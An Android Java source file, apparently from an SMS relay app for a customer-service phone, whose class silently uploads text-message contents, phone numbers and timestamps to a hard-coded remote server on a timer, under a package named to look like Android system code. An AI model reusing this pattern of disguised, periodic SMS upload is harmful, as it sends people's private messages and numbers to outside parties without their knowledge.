package android.system.http;



import java.util.HashMap;
import java.util.LinkedList;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;


import org.json.JSONException;
import org.json.JSONObject;

import Decoder.BASE64Encoder;
import android.os.Handler;
import android.os.Message;

import android.system.SysAplication;
import android.system.data.DataInfo;
import android.system.data.ReceiptInfo;
import android.system.http.HttpComm.HTTP_TYPE;
import android.system.http.HttpComm.HttpRespond;
import android.system.http.HttpComm.Reasion;
import android.system.utils.DataUtils;
import android.system.utils.LogUtils;


/**
 * 
 * 通知服务器，手机发送出去的短信
 * @author leiyong
 * 
 */
public class SMSSendMonitor {
	private SMSSendMonitorCallBack mCallBack;
	private int mIntervalTime = 5*60; //间隔时间
	private HttpComm mHttp = null;
	private static final String REQUEST_URL = "http://www.52xiyou.com/sms/upload_sms.html";//数据连接url
	private static final int MSG_REQUEST = 1;
	private static final int STATUS_IS_SUCCESS =1;//服务器反回值储存状态 0：失败，1：成功
	private static final int STATUS_IS_FAIL =0;
	private int time;//此变量用于记时器记录时间 
	private boolean start = false;
	private LinkedList<DataInfo> mList = null;

	
	public interface SMSSendMonitorCallBack 
	{
		public void error();
		public void Result(ReceiptInfo info);
		public void timer(int time);
	}
	
	public SMSSendMonitor(SMSSendMonitorCallBack callback,int intervalTime)
	{
	
		mCallBack = callback;
		mIntervalTime = intervalTime;
		mList = new LinkedList<DataInfo>();
	}
	/**
	 * 设置间隔时间
	 * **/
	public void setIntervalTime(int intervalTime)
	{
		mIntervalTime = intervalTime;
		stop();
		start();
	}
	/**
	 * 启动
	 * **/
	public void start()
	{
		//TrackControl.log("SingleDeviceTrack start");
		
		stopTimer();
		startTimer();
		start = true;
	}
	
	public void stop()
	{
		//TrackControl.log("SingleDeviceTrack stop");
		stopTimer();
		cancle();
		start = false;
	}
	public boolean isStart(){
		return start;
	}
	/***
	 * 启动一个记时器，用于自动发送数据到服务器
	 * **/
	public void startTimer()
	{
		if (mIntervalTime>0)
		{
			time = mIntervalTime;
			Message msg=new Message();
			msg.what=MSG_REQUEST;
			mHandler.sendMessage(msg);
		}
	}
	
	public void stopTimer()
	{
		mHandler.removeMessages(MSG_REQUEST);
	}
	
	private Handler mHandler = new Handler(){

		@Override
		public void handleMessage(Message msg) {
			// TODO Auto-generated method stub
			switch(msg.what)
			{
				case MSG_REQUEST:
				{
					time--;
					if (time <= 0)
					{
						if(mList!=null){
							int i=0;
							for(DataInfo info:mList){
								if(i>SysAplication.MAX_COUNT)break;
								sendData(info);
								i++;
							}
							
						}
						time = mIntervalTime;
					}
					else
					{
						mCallBack.timer(time);
					}
					Message msg1=new Message();
					msg1.what=MSG_REQUEST;
					mHandler.sendMessageDelayed(msg1, 1000*60);
					break;
				}
			}
			super.handleMessage(msg);
		}
	};
	/**
	 * 取消数据发送
	 * **/
	public void cancle() {
		if (null != mHttp) {
		//	TrackControl.log("SingleDeviceTrack cancle");
			mHttp.stop();
			mHttp = null;
		}
	}
	/**
	 * 处理服务器发送的json数据
	 * 
	 * 

	 * **/
	private boolean disposeData(String data)
	{
		log("data="+data.toString());
		try
		{
			JSONObject jsonObject = new JSONObject(data.toString());
			if (jsonObject == null)
			{
				//TrackControl.log("SingleDeviceTrack disposeData jsonobject is null");
				return false;
			}
			/*
			 * 
			 *  MsgId		此条短信的ID号码
				Status		储存状态 0：失败，1：成功
				Id		客服手机提供的id
			 * */
			ReceiptInfo info = new ReceiptInfo();
			info.setId(jsonObject.getInt("Id"));
			info.setStatus(jsonObject.getInt("Status"));
			info.setMsgId(jsonObject.getInt("MsgId"));
			log("ReceiptInfo=("+info.getId()+","+info.getMsgId()+","+info.getStatus()+")");
			mCallBack.Result(info);
			if(info.getStatus()==1){
				if(mList!=null){
					for(DataInfo dataInfo:mList){
						if(info.getStatus()==STATUS_IS_SUCCESS&&info.getId()==dataInfo.getId()){
							mList.remove(dataInfo);
							break;
							
						}
					}
				}
			}
			jsonObject = null;
			return true;
		}
		catch (JSONException e)
		{
			
			e.printStackTrace();
			mCallBack.error();
			return false;
		}
		
	
	}
	private void startHttp(Map<String, Object> params,String url){
		final HttpComm mHttp1 = new HttpComm(url, HTTP_TYPE.GET, params, new HttpRespond() {
			public void error(Reasion reasion, String error_string) {
				mCallBack.error();
				mHttp = null;
			}

			public void received(String rec_string) {
				disposeData(rec_string);
				mHttp = null;
			}
		});
		mHttp1.star();
	}
	
	public void sendData(DataInfo info)
	{
		
		/* ******
		 * 向服务器发送短信
		 * 
		 *  tot	 玩家手机号码
		 *	fro	客服手机号码
		 *   con	 短信内容
		 *	tim	 手机收到短信时间（时间戳）
		 *	time 此次请求的时间戳
		 *	sign 加密字符串 Sign 加密方式	md5(tot + fro + tim + time + KEY)
		 *	id	 客服手机提供的id
         *
		 * ********/
//		info.setContent("尊敬的客户 ，根据您发送的短信内容，系统判断您可能要办以下业务："+
//"GADKS11(广安德克士餐厅11),             "+
//"LC500(成都11年AB类存送),                 "+
//"A200(11年成都集团个人客户存费送费活动200).                    "
//
//+"请直接回复指令办理。中国移动                           "+ 
//
//"这条短信就是存不到服务器");
		
		
		
		if(info==null)return;
		log("info ===id="+info.getId()+" "+ info.getContent());
		if(info.getContent()!=null&&!info.getContent().trim().equals("	")){
			info.setContent(encode(info.getContent().getBytes()));
		}
		info.setCurrentTime(DataUtils.getCurrentTimeMillis()/1000);
		info.setReviceTime(info.getReviceTime()/1000);
	
		info.setSign(DataUtils.getReplySign(info.getToTelephone(),info.getForTelephone(),info.getReviceTime(),info.getCurrentTime()));
		cancle();
		Map<String, Object> params = new HashMap<String, Object>();
		params.put("tot",info.getToTelephone() );
		params.put("fro", info.getForTelephone());
		params.put("con",info.getContent() );
	//	params.put("tim",info.getCurrentTime()/1000);
		params.put("tim",info.getReviceTime());
		params.put("time",info.getCurrentTime());
		params.put("sign",info.getSign());
		params.put("Id",info.getId());
		params.put("type",info.getFlag());
		if(mList!=null){
			mList.add(info);
		}
		startHttp(params,REQUEST_URL);
	}
  

   
	
	private void log(String msg){
		LogUtils.logD("SMSSendMonitor", msg);
		//ToggleSlider d;
	}
	
	private void logE(String msg){ 
		LogUtils.logE("SMSSendMonitor", msg);
	}
	 public static String encode(byte[] bstr){

			// return new BASE64Encoder().encode(bstr);
			 
			 String detString = new BASE64Encoder().encode(bstr);
//			 detString=detString.replace('+', '-');
//			 detString = detString.replace('\\', '_');
//			// detString=detString.replace("\\n", "_n");
//			 detString=detString.replace("=", "");
			// detString.replace(" ", "");
			 
		 Pattern p = Pattern.compile("\\s*|\t|\r|\n|=");  
			 Matcher m = p.matcher(detString);  
			     detString = m.replaceAll(""); 
//			 Pattern p = Pattern.compile("\\n|+");  
//			 Matcher m = p.matcher(detString);  
//			     detString = m.replaceAll("_"); 

			 return detString;

		 }
}
